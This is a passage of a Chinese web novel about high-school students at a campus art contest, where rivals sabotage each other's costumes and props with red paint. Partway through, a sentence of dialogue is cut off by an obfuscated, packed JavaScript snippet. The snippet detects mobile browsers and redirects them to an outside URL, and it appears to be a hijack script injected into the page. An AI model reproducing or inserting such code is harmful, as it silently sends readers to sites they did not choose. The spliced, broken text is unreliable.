丁航脸上露出发自内心的笑容,“我丁航毛遂自荐,以后你每次去排练,我都陪你一起,给你当后勤总管,端茶倒水,随叫随到。怎么样?” 江悦终于停下笔,习惯性推了推鼻梁上的镜架,抬起头,目光冰冷地打在丁航的脸上。 “不用了,”江悦的语气没有一丝起伏,像是在拒绝推销员,“我自己能搞定,而且12月15号还有这学期的第三次月考呢,你现在的首要任务是吃透那些错题,别把时间浪费在给我端茶倒水上。” 丁航脸上的笑容肉眼可见地逐渐凝住,手足无措地站在原地,有些进退两难的样子,周围几个竖着耳朵听的同学已经开始憋笑了,孟晓芸好奇的目光在丁航和江悦身上来回切换。 “也加我一个!” 就在丁航尴尬得不知所措时,汤振慵懒的声音从丁航身后传了出来。 汤振走到丁航和江悦身边,身体微微前倾,语气诚恳道:“班长,要不这样吧,我和丁航一起陪你训练。” 江悦皱了皱眉,抿着嘴摇了摇头,“你们的好意我心领了,但是真的不用浪费大家的时间。” 汤振想到:之前和丁航闹矛盾时,江悦不止一次站在自己这边,还阻止了丁航想要搜身的想法。 想到这些,汤振觉得自己也应该为江悦做点什么,以示感谢。 “班长,”汤振继续说道:“我高一的知识都学过一遍了,怎么能叫浪费时间呢?最重要的是,有我在旁边盯着,也好管管丁航,免得他笨手笨脚帮倒忙,而且……” 汤振收起了笑意,压低声音,语气里透着一丝敏锐:“而且,这种大型比赛,少不了会有那么几个搞小动作的人,还可能有各种道具搬来搬去的,确实麻烦。我和丁航力气比较大,就去给你当免费苦力吧,你一个人去,同学们都不太放心。” 这句话汤振说得极其自然,但藏着一种不容置疑的语气。 江悦看着汤振那双深邃的眼睛,又看了看周围人附和的眼神。 汤振也目光坚定地和江悦对视着。 在运动会闭幕式上,江悦孤注一掷暴露了底牌,在汤振心里,她虽然自信洒脱,但绝不盲目自大,他希望她能明白,一个人去参加这种大型比赛和训练,有时确实可能分身乏术。 江悦沉默几秒,目光在汤振和丁航之间扫了个来回,最终轻轻点了点头。 “行吧,”江悦将填好的报名表夹进书本,“那就辛苦你们两个了。但先说好,你俩不准在训练或者比赛的时候闹任何矛盾。” “好的,班长大人!”汤振说完,顺手抓住愣在原地的丁航,捏着他肩膀,走回了教室中间的座位旁。 “你干嘛要跟我一起……”丁航的脸憋得通红,声音却细若游丝。 汤振一屁股坐在椅子上,似笑非笑地看着丁航,“我可是在给你找台阶下!就你刚才那副德行,班长要是肯答应你,明天太阳就能从西边出来。” 丁航不耐烦地答应完,便转过脸去,单手撑着下巴,望着教室前门发呆。 接下来的五天,都是海选的报名阶段,高一到高三年级有不少人都十分积极地报名了这次比赛的海选。 在逐渐转凉的天气中,海选报名结束。 11月20日下午,学校的礼堂熙熙攘攘,人头攒动。 闷热和嘈杂交织在一起,发胶的甜腻味和舞台底妆的粉尘味混杂在空气中,还有因为过度紧张而散发出的汗味,让汤振觉得头晕脑胀。 今天是海选赛的日子,所有报了名的参赛者被分为舞蹈组、乐器组和演唱组,分别在各自的舞台区表演。 海选赛通过的人,才有资格参加初赛、复赛和决赛,最终前往市里参加市级比赛。 汤振和丁航一人搬着一把折叠椅,一左一右地守在舞蹈区江悦的化妆台前。 江悦正在对着镜子画着眉毛,神情专注,仿佛周围的喧闹都与她无关。 汤振百无聊赖地嚼着口香糖,目光像雷达一样,在光怪陆离的人群中漫无目的地扫视。 “你看,那不是雅丽学姐吗?” 丁航突然用手肘撞了撞汤振,下巴朝着不远处的一个角落抬了抬。 汤振顺着方向望过去,在后台相对安静的角落里,申雅丽穿着一身极其飘逸的水蓝色长水袖舞服,正把一条腿架在栏杆上,神情自若地做着热身动作。 汤振心里一阵欣慰:看来申雅丽还是愿意参加这个比赛的。 申雅丽的身旁,站着一个拿着水杯和纯棉毛巾的男生,带着殷勤的神态,不断和申雅丽说这话,像是在叮嘱着什么。 汤振半眯着眼睛,仔细看向申雅丽身旁的男生——是伍泓。 伍泓在后台倒是没有穿校服,而是穿了一件高领灰色毛衣,一头短发显得干净利落,此时正将毛巾递给申雅丽,申雅丽擦完汗后,又将毛巾递回给伍泓。 汤振停下了嚼口香糖的动作,“雅丽学姐的舞蹈也跳得很好哦。” “是啊。大家还传言,她去年迎新晚会跳的舞……” “行啦,别说了,这个传言听到好几次了。”汤振立刻打断丁航的话。 丁航耸了耸肩,“雅丽学姐说不定真的暗恋你呢,你俩毕竟是老同学。” “嘘,”汤振做了个噤声的手势,“别再乱说了……” 就在两人窃窃私语的时候,一阵刺耳的脚步声,伴随着极具穿透力的冷嘲热讽,硬生生地点燃了汤振身边的空气。 陈蓉萱脸上挂着假笑,看着正在化妆的江悦,“嗬,这不是高一3班的班长吗?怎么,平时当书呆子当腻了,现在要跑来抢我们这些艺术生的饭碗吗?” 汤振和丁航同时转过头,互相对视一眼,又无语地将头转了回来。 陈蓉萱今天穿着一套带着异域风情的深绿短裙,裙摆上缀满了银色的亮片,走起路来哗啦作响,脸上妆容华丽,眼线飞挑,鲜艳的口红颜色让她看起来比实际年龄成熟不少。 陈蓉萱双手抱胸,俯视着坐在化妆台前的江悦,眼神里满是毫不掩饰的刻薄,丝毫不顾及身边围观的同学。 “喂,她怎么也在这儿?”汤振压低声音,用肩膀碰了碰丁航。 “废话,她能不在吗,”丁航嘀咕道:“陈蓉萱报的也是民族舞,而且她从小就练习各种舞蹈。哦,对了,我顺便告诉你一则小道消息……” 丁航凑到汤振耳边,声音压得极低:“陈蓉萱初中的时候还和班长是好闺蜜呢,两人还在同一个舞蹈培训机构学习,连舞鞋都是买的同款。但后来升到初三,不知道为啥,两个人就闹掰了。我上高一之后还问过班长,但她也不肯说。劝你也最好别打听太多!” 汤振挑了挑眉,后仰了一下,用看奇葩的眼神看向丁航,“你还不允许我打听,那你又是从哪里打听来的这么多消息?” 丁航一时脸涨得通红,挠了挠后脑勺,“那还不是因为……因为我比较关注集体嘛!” “关注班长就直说,装什么……” 汤振不再搭理丁航,又转过头看向江悦和陈蓉萱。 面对陈蓉萱咄咄逼人的挑衅,江悦连眼皮都没抬一下。 江悦沉稳地放下手里的眉笔,拿起一块粉扑,在鼻翼两侧轻轻按压,语气平淡得像在讨论天气:“比赛凭的是实力,不是谁的嗓门大。你有这闲工夫在这儿撒野,不如挑一个合脚的增高垫……话说回来,你也不算矮了,还有必要再垫个增高垫吗?” 陈蓉萱不自觉地挪了挪脚,朝江悦翻了个白眼,“你别总是装出这种遗世而独立的样子好吗?以为你那支破舞能在运动会出风头,就能在艺术大赛上拿高分吗?我跟你说,你可别……” “你瞎叫唤什么!”丁航说着话,冲了过去。 丁航一把拍开陈蓉萱指着江悦的手指,“太平洋的警察都没你管得宽,人家爱学习就学习,爱跳舞就跳舞。我记得你初中的时候,跳舞跳得像个扑棱蛾子,现在跑来我们班长面前,是为了找存在感吗?” 陈蓉萱眼睛瞪得老大,“你又算个什么东西……” “好了,恨不得全场都认识你们吗?” 江悦终于站了起来,却依然保持着冷静的脸色,伸手将丁航拉到身后。 看了看陈蓉萱,又看了看丁航,江悦淡淡道:“算了吧,丁航,大人不记小人过,还是认认真真准备待会儿的比赛吧。你忘了?我跟你和于浩磊说过,不许在任何场合吵架,和别人吵也不行。” 说完,江悦便拉上丁航和汤振,朝一旁走了过去。 “呵?你少在这里指桑骂槐!就你那个天鹅腾飞的舞蹈,不知道的人还以为是表演惊弓之鸟呢。” 陈蓉萱对着江悦的背影骂完,便转过身,气冲冲地走向了候场区。 这场短暂的风波,很快便被后台的嘈杂淹没。 海选比赛时,所有参赛者都使出了全部力气,引得台下的观众一阵又一阵欢呼。 三个小时后,漫长的海选环节终于结束。 礼堂外的公告栏前,挤满了等待结果的学生。 汤振仗着身高优势,毫不费力地挤到了最前面,一眼就看到了那张晋级初赛的“舞蹈组”名单,他的目光在密密麻麻的名字里快速搜寻: 申雅丽(高三2班) 江悦(高一3班) 陈蓉萱(高一4班) …… 汤振睁大了双眼,看着那三个紧紧挨在一起的名字,心里油然而生一种复杂的感觉。 “十天后的初赛,可要打起十二分的精神来应对一切哦!”汤振认真说道。 丁航颔首,“没事儿,有我们陪着班长训练,一定没问题!” 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舞台背景是一块巨型LED显示屏,上面正播放着唯美高清的飘雪视频,人造雪花也零零散散地撒落在舞台上,加上舞者柔美轻快的舞姿,整个画面如梦似幻,令人沉醉。 女生刚好完成了一个完美的空中跳跃,落地时,她深情地回眸,看向大屏幕。 然而,就在她回头的瞬间—— 一张七窍流血,眼球突出的鬼脸,骤然填满了整个大屏! “啊!” 舞台上的女生发出一声凄厉到极点的惨叫,脚下一软,舞鞋直接踩空,整个人像断了线的风筝一样,“哐”地一声,摔倒在了舞台上,泪流不止。 全场哗然,尖叫声四起,那女生的同班同学连忙上去将她扶起来,送往了医务室。 汤振惊愕得差点站了起来,看向旁边的丁航,丁航也同样惊讶,摇摇头,不知所措。 “怎么会这样,U盘里的视频文件被人改吗?”汤振问道。 丁航的声音压得极低:“所以我才说班长需要助手嘛!有人帮忙盯着点儿,更有保障。” 汤振点点头,继续看向舞台。 两分钟后,工作人员慌乱地修复了屏幕,初赛继续。 舞台上,一个男生在高脚凳上坐着,怀里抱着一把昂贵的木吉他,正在弹唱一首充满爆发力的摇滚歌曲。 全场的情绪几乎都快被他的吉他声点燃,似乎忘掉了刚才的惊险一幕,开始投入到这激动人心的音乐中去。 参赛选手也闭着眼睛,右手在吉他的琴弦上拨动,正准备扫出一个狂野的E和弦。 “啪——” 一声尖锐刺耳的断裂声,通过麦克风传遍了整个礼堂。 吉他上的一根弦瞬间崩断,断裂的琴弦如同嗜血的钢鞭,带着巨大的回弹力,狠狠抽在了那个男生的右臂上。 那男生右手瞬间一缩,痛苦地从高脚凳上跳了起来,吉他沉重地砸在地上,发出一声闷响。 鲜红的血顺着男生的右臂流了下来,触目惊心,场面一片混乱,两个男生连忙上台,将他扶了下来。 教导主任已经赶了过来,顾不上满头大汗,迅速冲过人群,坐在了观众席的最前面,不住地大喘气。 汤振看向丁航,语气沉稳:“教导主任终于来了,接下来应该没事儿了吧?” 还不等汤振反应,下一个节目又出了状况。 舞台上的女生深吸了一口气,拿着无线麦克风,刚唱出一句惊艳的高音。 “嗡——嗡——呲——” 现场的音响骤然爆发出狂躁尖锐的干扰音,像是把指甲刮擦黑板的声音放大了十倍。 台下的观众齐刷刷地捂住了耳朵。 在全场不可抑制的哄闹声中,女生惊恐地拍打着麦克风,眼泪夺眶而出,第二段歌词一句也没唱出来,哭着跑下了台。 教导主任连忙冲上前安慰那个女生,但评委还是给她打出了极低的分数。 还有更让汤振震惊的。 舞台上,一名高二的女生正配合着流行音乐,跳着一曲点燃全场的舞蹈,强劲的足部力量支撑她踩着高跟鞋完成了一个极高难度的连续旋转。 正当她准备以一个单脚重力定格收尾时,左脚的高跟鞋鞋跟,却突然发出一声清脆的“咔嚓”。 只见女生的鞋跟竟整整齐齐断开,整个人瞬间失去平衡,重重地摔在了地板上。 “啊!我的脚……” 痛苦的哭泣声被现场的音响放大了数倍,学校的医务人员拿着担架急匆匆地冲上了舞台。 坐在台下的汤振,看着接二连三的意外,后背朦朦胧胧渗出一层冷汗。 音响里,传来主持人语气平稳洪亮的声音:“下一位,高一3班,江悦,准备上场!” 江悦微闭双眼,深吸了一口气,睁开双眼后的她眼神依然坚定,缓步走向台阶,身上穿着运动会闭幕式表演穿过的舞蹈服。 回过头,江悦看见了汤振和丁航眼里的担忧,她郑重地朝两人点了点头,汤振这才放下心来。 舞台灯光骤然亮起,节奏明快的手鼓声再次响起。 五分钟顺利过去,在汤振心里,却像是过了一整年。 江悦极具爆发力和傲骨的舞姿,赢得了在场观众的喝彩,毫无悬念地拿到了高分。 汤振心里的一块石头落了地,连忙和丁航一起,一人一边,扶着刚从舞台上缓步走下来的江悦。 随后上场的陈蓉萱,基本功的确扎实,一曲舞蹈也算惊艳全场。 至于申雅丽,早就凭借去年的迎新晚会收获了无数“粉丝”,她这次的舞蹈依旧是无可挑剔,美得让在场所有人都屏住了呼吸。 江悦、陈蓉萱和申雅丽,三人都拿到了通往复赛的入场券。 傍晚七点,初赛终于结束。 礼堂里的人群像潮水般散去,汤振靠在冰冷的砖墙上,看了看不远处正在收拾东西的陈蓉萱、正在被伍泓嘘寒问暖的申雅丽,以及身旁的江悦和丁航,长长地松了一口气。 “丁航。”汤振压低声音喊道。 丁航似乎正在为江悦顺利表演完而傻乐,听见汤振喊自己,不由得愣了一下,问道:“怎么了?” 汤振边走边说道:“今天的初赛就这么多意外,接下来的复赛和决赛……”话音未落,他又忍不住回过头,看了看远处空荡荡的舞台。 汤振继续道:“接下来的比赛,班长的服装,甚至是她喝的水,我们都要多留意着,一定要保护好班长。” 丁航抿着嘴唇,颔首示意,“我知道,放心。” 汤振疲惫地强颜笑了一下,接过江悦手中沉重的背包,和丁航一起,走出了礼堂。 傍晚的最后一丝余晖也消失殆尽,三人并肩而行,与黑压压的人群一起,慢吞吞地朝教学楼走去。? 24. 复赛危机(上) 初赛过后,浥鸣县的气温再度迎来下跌,就连海风也比往常冷了几分。 刺骨的凉风在校园的香樟树间呼啸,但博学楼的训练室里,却燃烧着足以融化冰雪的狂热,每一位通过初赛的选手都用尽力气训练着。 江悦也不例外,每次下午第四节自习课一开始,她就像是设定好的程序,准时出现在博学楼的训练室,汤振和丁航则雷打不动地跟在后面,用凌厉的眼神过滤着每一个企图靠近的人。 空旷的训练室里,木地板发出有节奏的摩擦声。 “阿悦,抬一下腿,把脚背绷紧了,情绪再饱满一点……” 孟晓芸满脸欣喜地坐在远处的垫子上,手里举着一个极其抢眼的东西,正对着江悦疯狂抓拍。 “咔嚓——咔嚓——” 汤振循声望去,眼神立刻停在孟晓芸的手上。 那是一部闪着银色光泽的最新款智能手机,在这个连手机都不多见的校园里,也算是一件极其扎眼的稀罕物。 汤振走了过去,提醒道:“诶,诶……” “你干嘛?”孟晓芸正拍得起劲,被汤振吓了一跳,赶紧把手机护在胸前。 汤振蹲了下来,压低声音:“嘘!这么贵的手机,你大摇大摆地拿出来用,不怕被教导主任知道么?丁航的手机之前被没收了,现在都还没拿回来呢。” “我,我是想着给阿悦记录精彩瞬间嘛,”孟晓芸有些心虚地说道:“这连续九天的彩排,阿悦这么辛苦,难道不值得记录么?而且教导主任这个时候一般都在巡视自习课。” “教导主任不在,也不代表其他人不会盯上你,”汤振的眼神变得有些冷硬,言语间充满了警惕性:“你这手机要是被人盯上了,转手就能卖个好价钱。” 孟晓芸听得满脸紧张,赶紧将手机塞进了校服裤袋里,顺便拉上了拉链。 “这就对了嘛。”汤振起身,走回了丁航身边。 汤振看着镜子里挥洒汗水的江悦,心中却反而担心起来,初赛时那些惊心动魄的场景,仍让汤振印象深刻。 连续九天的训练和彩排,让汤振觉得身心俱疲。 转眼,时间来到了12月10日。 校级艺术大赛复赛,在初冬的寒风中正式拉开帷幕。 礼堂再次变成了没有硝烟的战场,所有人都凝神聚气地为比赛做着准备。 台下的观众席坐的大多是初一和初二年级的学生,由于这是复赛现场,一些校外人员也收到邀请,前来观看。 汤振和丁航一左一右地护着江悦的化妆台,表情满是严肃。 此刻,复赛已经进行到了后半场,江悦的出场顺序是倒数第二,还有两个选手,就轮到她了。 “我去打点热水,”江悦有些紧张地轻声说道,说完整理了一下旁边雪白的古典舞长裙,又站起身,朝饮水机那边走去。 “我陪你去,这后台人多眼杂的,别被撞了!”丁航像个尽职尽责的保镖一样自告奋勇道。 “也行,”江悦忍俊不禁,“其实就在洗手间旁边,几步路而已。” 江悦前脚刚走,汤振的余光就敏锐地捕捉到了一个来回踱步的身影。 在斜对面的一排衣架后边,还没来得及换装的陈蓉萱一只手挡着嘴,另一只手拿着手机,正压低了声音,打着电话。 汤振正想叫丁航过去看看,但发现丁航已经陪江悦去接水了。 一时想不到其他办法,汤振像猫一样,蹑手蹑脚地滑入了两排挂满演出服的衣架旁的阴影里,缓缓向陈蓉萱靠近。 “……对,你放心吧,这次我一定能赢,”陈蓉萱的声音虽然压得极低,但在安静的角落里仍然显得格外刺耳:“像她那种背叛友情的虚伪人渣,还想在艺术领域横插一脚,你就等着看好戏咯。” 汤振的眉头瞬间一皱,迅速退回了江悦的化妆台前。 过了几秒,丁航已经陪江悦打完了热水,回到了化妆区。 “丁航,”汤振把丁航叫到一旁,“我跟你说,我刚才听到陈蓉萱给人打电话,她说要让某个背叛友情的人出丑。我想来想去,既和她闹过矛盾,又参加今天复赛的人,也无非就是咱们班长了。” 丁航脸色瞬间冰冻,猛地看向观众席,“她想干什么?” “我也不知道,我猜测陈蓉萱可能会在舞台上做手脚。所以你要先告诉班长,让她时刻小心,并且你从现在起,要一直守在班长身边,再顺便观察一下陈蓉萱接下来的动作。” 丁航点点头,“好,我明白。” 话音刚落,旁边传出一个声音: “于浩磊。” 伍泓温和的声音横插了进来,他身穿一件风衣,双手插兜,不知道什么时候走到了汤振的身后。 汤振回头看向伍泓,“哦……你好。” 伍泓脸上挂着合适的笑容,“有空吗?借一步说话。” 汤振心里一沉,脸上露出一丝不自在的神情,看了一眼守在江悦旁边的丁航,这才放心答应道: “行啊,去哪儿?”汤振扯了扯嘴角。 伍泓和汤振一起走到了礼堂观众席三楼的走廊外面,从这里能一眼望到教学楼。 “说吧,什么事?”汤振靠在冰冷的墙砖上,双手抱胸,满脸的尴尬和不耐烦。 伍泓有些不好意思地摸了摸耳垂,“是这样的……上次听说我又害你和申雅丽被教导主任骂了。” 汤振的瞳孔看向右上方,这才想起伍泓说的是什么事儿,于是摇了摇头道:“没事儿,就是运动会训练的时候被提醒了一两句而已。也谢谢你啊,还让申雅丽买药送给我。” 伍泓的脸色这才放松,“哦,哦,没……没被骂就好,我真的觉得很自责。” 汤振“嗯”了一声,“都已经是一个多月前的事情了,没有必要这么在意,我也没有怪你,是教导主任太严格了。” 伍泓不好意思地笑了笑,转头看向天空。 汤振索性接着问道:“你道歉很喜欢延期么?上次抄袭的事情,你也是等了好久才跟我道歉。” 伍泓脸色一惊,旋即又用笑意化开了尴尬,“哦哦……这个,我,我不是担心打扰到你嘛,所以就现在才来跟你道歉。” 汤振不再接过话茬,只无所事事地看向教学楼发呆。 伍泓从口袋里掏出一包纸巾擦了擦手,“浩磊啊,那个……海选和初赛看下来,你们班那个叫江悦的人,舞蹈功底确实深厚。申雅丽虽然跳得也不错,但有些情感上的表达,还是不如江悦那么有张力。” 闻言,汤振清了清嗓子,“有吗?但这些我也不太懂。” 汤振有一句没一句地聊着废话,继续无聊地向教学楼的方向看去。 此时,上课铃刚敲响不久,是下午的体育课。 操场上,一些班级正在列队集合,一些班级已经放松自由活动,高一3班也在其中。 突然,汤振的目光凝滞住。 只见远处出现一个熟悉的身影,正快步往教学楼的方向冲去,回到了高一3班的教室门口,进教室前,还左右张望了一番,十分谨慎的样子。 汤振不由得被吸引住,定睛看去,那个身影竟是沈言峰,汤振对他的印象还停留在那个听恐怖故事的夜晚。 见状,汤振心里不由得埋下一丝疑虑:体育课刚开始不久,全班稍微放松片刻,沈言峰神神秘秘地折返回教室做什么? 大约过了两分钟,沈言峰的身影从教室走了出来,又左右张望一番,才直奔操场而去。 汤振看得出神,心中油然而生一股莫名其妙的意味。 伍泓的声音将汤振的思绪拉了回来:“浩磊,你有在听我说吗?” 汤振刚反应过来,连连答应:“啊?我,我听着呢,你继续说。” 伍泓温和笑道:“我就是在想,你既然跟江悦走得那么近,能不能帮个忙?比如抽空给申雅丽做一些私底下的指导什么的……大家都是同学,互相帮助嘛。” 这样的请求,在汤振听来,属实有些荒谬。 整个校级比赛,每组只能有一个选手能夺得冠军,去参加市级比赛,让对手之间互相指导,这想法太奇怪了。 但汤振仍没有表面拒绝,毕竟江悦和申雅丽都是自己的朋友,汤振当然是希望她俩都能拿第一,只不过这是不可能的。 一想到这样的结果,汤振便再没了耐心,“你特意把我从化妆区叫出来,就跟我说这些?” 伍泓双手一摊,“如果你不愿意,也没事……” “不是我愿不愿意的事情,这事儿你得亲自去问江悦。”汤振打断道。 伍泓的眼底闪过一丝尴尬,“嗯,明白,那就当我是专程来给你道歉的吧,既然你没生我的气,那我就放心了。” 要不是有丁航在后台守着,汤振是断断不敢离开江悦这么久的。 看了看时间,快轮到江悦上场了,汤振将目光看向礼堂内,松开了抓着栏杆的手,朝伍泓道: “没什么事的话,我就先回后台了。” 伍泓颔首,“嗯,谢谢你。” 汤振不再去管身后的伍泓,目光坚定地朝礼堂后台走去。 当汤振拨开人群,冲回那个熟悉的角落时,眼前的景象让他的血液降至冰点—— 化妆台前,空无一人。 汤振的呼吸声瞬间变得急促,四下张望一番,丁航根本不在这里。 “丁航!”汤振尽量压低了声音喊道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575477|205002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然而无人回应。 就在汤振不知所措的时候,丁航满头大汗地从后台的另一个入口跑了进来,擦着汗抱怨道“这大音响真沉,手都给我搬酸了。” 汤振连忙冲了过去,“你不是说你要一直陪着班长吗?” 丁航一脸无辜,“不是呀,班长去厕所了,她说上完厕所就回来换衣服。刚才有人过来叫我帮忙搬一下音响,我就去了。” 汤振脸上的焦急消散了几分,“这么多人不叫,就叫你?那陈蓉萱呢,有什么动静?” “她倒是全程都没有靠近班长,能做什么手脚?”丁航满眼狐疑。 “那就好,”汤振缓了一口气,“班长去厕所的话,你确实也没法跟进去。” 正当两人说话时,江悦从厕所走了出来,正拿着一张纸巾,在双手之间来回擦拭。 汤振放松了下来,拉上丁航,朝江悦走了过去,“走吧,班长,马上轮到你上场了,去后台把衣服换了。” 江悦提起地上精致的袋子,里面装着那件雪白的舞蹈服。 三人来到换衣区,由于汤振和丁航不方便进去,只好在外面帮江悦把衣服拿出来整理好,再让她拿进去换上。 就在长裙拿出来的一瞬间—— 一抹惊心的鲜红,映入汤振的眼帘! 在长裙的后背和裙摆处,沾染上了一片刺眼又黏稠的红色颜料,仿佛在一只白天鹅身上,撕开了一道醒目的伤口,正流淌着绝望的鲜血。 “这……怎么会这样!”丁航双腿一软,无助地看向汤振。 江悦连忙伸出双手,面色凝重地抚摸着裙摆,“这是谁干的?” 汤振屏住了呼吸,眼神迅速向四周查看,一时间心里也拿不定主意。 丁航急红了眼,“肯定是陈蓉萱干的!我,我去找她对质。” 汤振一把拉住丁航,“班长都要上场了,对质完后,又有什么意义呢?先把最急的事情处理完吧。” 说完,汤振又看向江悦,“话说,班长,你怎么没有提前换好衣服呢?” 江悦依言答道:“这件舞蹈服穿上后非常不方便,所以我都是等上场之前才换衣服。” 汤振颔首,目光深邃地盯着那件被毁掉的舞蹈服,脑海中急切地思索着解决办法。 “冷静,照我说的做。” 汤振一句话劈开了令人绝望的氛围,他抓起那件满是鲜红的裙子,强迫自己冷静下来,一句一字地说道: “颜料还没完全干透,从刚才我和丁航离开的时间来看,作案时间应该只有两分钟。时间这么短,整个礼堂到现在又没人出去,那装颜料的东西应该还在这里面。” 汤振毫不犹豫地转身,开始在周围的几个垃圾桶和杂物堆里疯狂翻找。 不到半分钟时间。 “找到了!”汤振在一个偏僻角落的黑色垃圾袋里,掏出了一个没有盖子的透明塑料瓶。瓶子的内壁上,还残留着半瓶刺眼的红色丙烯颜料。 “还剩一半,看样子是泼颜料的时候太匆忙。”汤振冷笑一声,冲向人群里,朝陈蓉萱的方向看去。 陈蓉萱正坐在椅子上,认真看着手机,双腿轻微抖动,连带着古典舞裙的裙摆亦随之如流水般振颤。 汤振半眯着双眼,不动声色地靠近。 在陈蓉萱那身古典舞裙的后腰边缘,有一些难以察觉的暗红色斑点,她拿着手机的手上,也残留着一些红色颜料的痕迹。 思索片刻,汤振转过身,快步走回江悦和丁航身边。 江悦坐在椅子上,双手紧紧地捏着那件废掉的裙子。 “班长,听我说,”汤振蹲下身,语气坚定:“裙子被泼了颜料,我们就顺水推舟!” “顺水推舟?” “对,”汤振的大脑里迸发出一个大胆的构思,“你那支舞原本是纯洁的白天鹅翩翩起舞,对不对?现在,舞蹈主题改成受伤的天鹅!” 江悦的瞳孔猛地收缩了一下。 汤振接着道:“这片红色的颜料,就是那些企图射杀你的猎人留下的枪伤,隐喻流淌的鲜血。你可以带着这身血迹上台,把愤怒、不屈、发愤图强的傲骨,都通过这支舞展现出来。” “可是我的舞蹈主题已经报给评委了……” “没关系,”汤振安慰道:“你就说,真正的艺术,从来不是一尘不染的完美。能在苦难和毁灭中开出花来,不也值得歌颂吗?” 江悦眼里的疑惑瞬间消失,取而代之的,是一股自信的火焰。 “好,”江悦抓起那件染血的裙子,毫不犹豫地走向更衣室,“就算满身是血,我也要跳完这支舞。” 看着江悦重燃斗志的背影,汤振的脸上终于露出一丝疲惫的笑意。 25. 复赛危机(下) 等江悦进入更衣室后,丁航才开口问道:“那我们现在可以去揭发陈蓉萱了吗?” “不用,我有其他办法,”汤振神神秘秘地说道:“你回观众席,看着陈蓉萱,五分钟之内,不准她进来。其余事情你就不用操心了,我自己来。” “好。”丁航坚定地答应了下来,小跑着回到了观众席。 汤振转过身,手里还稳稳拿着剩下半瓶的红色颜料,悄无声息地滑入了后台堆放道具的区域。 在一堆花花绿绿的道具中,汤振极其精准地找到了一把油纸伞,这是陈蓉萱在台上表演会用的,之前彩排时,汤振就已经见过无数次了。 这把伞,在舞蹈开场时是收拢状态,等跳到中间的“下雨”部分,才会打开使用。 此刻,在舞台上表演的是舞蹈组的申雅丽,她的古典舞别有韵味,所有观众的目光都被吸引住。 汤振趁机朝四周望了望,迅速拧松了颜料瓶盖,将瓶子倒扣过来,塞进了了油纸伞收拢的伞骨最深处。 做完一切,汤振站起身,搓了搓手,自言自语道:“那就祝你好运咯,陈蓉萱同学。” 随后,汤振神色如常地走回了观众席,和丁航一起默默看向舞台。 “有请舞蹈组的第三位选手,高一3班,江悦——”场务大喊道。 灯光渐渐暗了下来,一道追光灯亮起,打在了舞台中央。 当江悦穿着那件染满“鲜血”的纯白舞裙出现在舞台上时,底下的观众都发出了一声极其压抑的呼喊。 “这……这是怎么回事?她的舞蹈服……” 一些观众已经开始窃窃私语。 随着音乐响起,江悦没有丝毫的慌乱,缓缓起舞。 江悦的每一个动作,都比初赛时更加凌厉,更加决绝。 舞台上,柔美中带着坚强的舞姿,像是一只真正被猎枪击中,却拼死在风雪中振翅高飞的白天鹅。 江悦眼神里的痛苦和挣扎演变为终涅槃重生的傲骨,配合着那刺目的血红和魄力十足的舞姿,充满了震撼人心的视觉和灵魂冲击。 一曲舞毕。 全场安静了三秒钟,随后爆发出了场排山倒海般的掌声,评委们也赞叹地鼓掌,给江悦投去了肯定的眼神。 坐在中间的评委拿起话筒,“这种对生命力的表达非常到位。只是江悦同学,你能否解释一下,这件极具视觉冲击力的演出服,是刻意改过的吗?舞蹈主题也好像和你之前报备的有些出入。” 江悦站在舞台中央,大汗淋漓,努力平复着呼吸节奏,目光极其锐利地扫过候场区的陈蓉萱。 “报告评委老师,”江悦大方坦诚地拿着麦克风,声音带着轻微的空洞和颤抖:“其实,这件衣服并不是我刻意设计的,因为……在我上台前十分钟,我的衣服在后台被人恶意泼上了这层红色的颜料。” 说完,江悦抿了抿嘴,有些惭愧地低下了头。 全场哗然,观众的议论声一阵高过一阵。 江悦平复了情绪,“我不知道是谁干的,我也不想去查,因为我坚信,真正的光芒,是任何肮脏手段都掩盖不了的。既然衣服被泼了红色颜料,那我就当这是一只受伤的天鹅,那个弄脏我衣服的人,也让我这支舞有了灵魂。” 言毕,江悦以谦卑的姿态,盈盈然向观众席鞠了一躬。 全场的掌声再次达到了沸点,评委也给江悦打出了高分。 江悦走下舞台后,主持人又拿起了话筒,高声喊道: “有请舞蹈组的最后一位选手,高一4班,陈蓉萱——” 陈蓉萱调整了一下面部表情,身着一袭古典长裙,拿着那把油纸伞,走上了舞台,裙上的轻纱随着舞台上的微风轻轻摇曳。 音乐渐渐响起,陈蓉萱抬起了手臂,她的动作轻盈曼妙,开场的几个轻盈的旋转,引得了阵阵叫好声。 背景LED大屏换成了淅淅沥沥的小雨,陈蓉萱翩翩行至舞台中间,换上了愁苦但惹人怜惜的表情。 陈蓉萱轻微抬头,对着最明亮的追光灯,缓缓地撑开手里的油纸伞纸伞,温婉悠然地完成着一个柔美又不失华丽的定格动作。 正当陈蓉萱高举右臂,撑开油纸伞时—— “唰!” 伞骨深处的半瓶颜料,如同天女散花一般,劈头盖脸地泼了下来,陈蓉萱乌黑的发丝上挂满了蜘蛛网似的红色细丝。 陈蓉萱“啊”地惊叫一声,连忙闭上了嘴,却仍是有一些颜料流进了她的口中。 一声凄厉的尖叫后,陈蓉萱一把丢开那把油纸伞,用左手在眼睛上猛地一擦,才敢睁开眼,又拉起自己的袖口,在嘴上反复揉搓。 台下的观众个个面色惊愕,看着舞台上的陈蓉萱,宛如满头是血的疯子,在舞台上抓挠着自己的头发,原本精美的妆容瞬间变成了恐怖的惊悚片现场。 全场观众被吓得倒吸了一口凉气,整个礼堂安静得只剩陈蓉萱的骂声: “是谁干的?是谁!” 此时不说,更待何时! 汤振一秒从观众席站了起来,用最大的嗓门朝着舞台上大喊:“陈蓉萱,原来在江悦衣服上泼颜料的人是你!” 观众齐刷刷看向汤振和他身旁的江悦,又转头看向舞台。 陈蓉萱手足无措地僵在台上,茫然地看着台下的一切,似乎还未从惊吓中反应过来,“不,不……不是这样的,肯定是有人陷害我!” 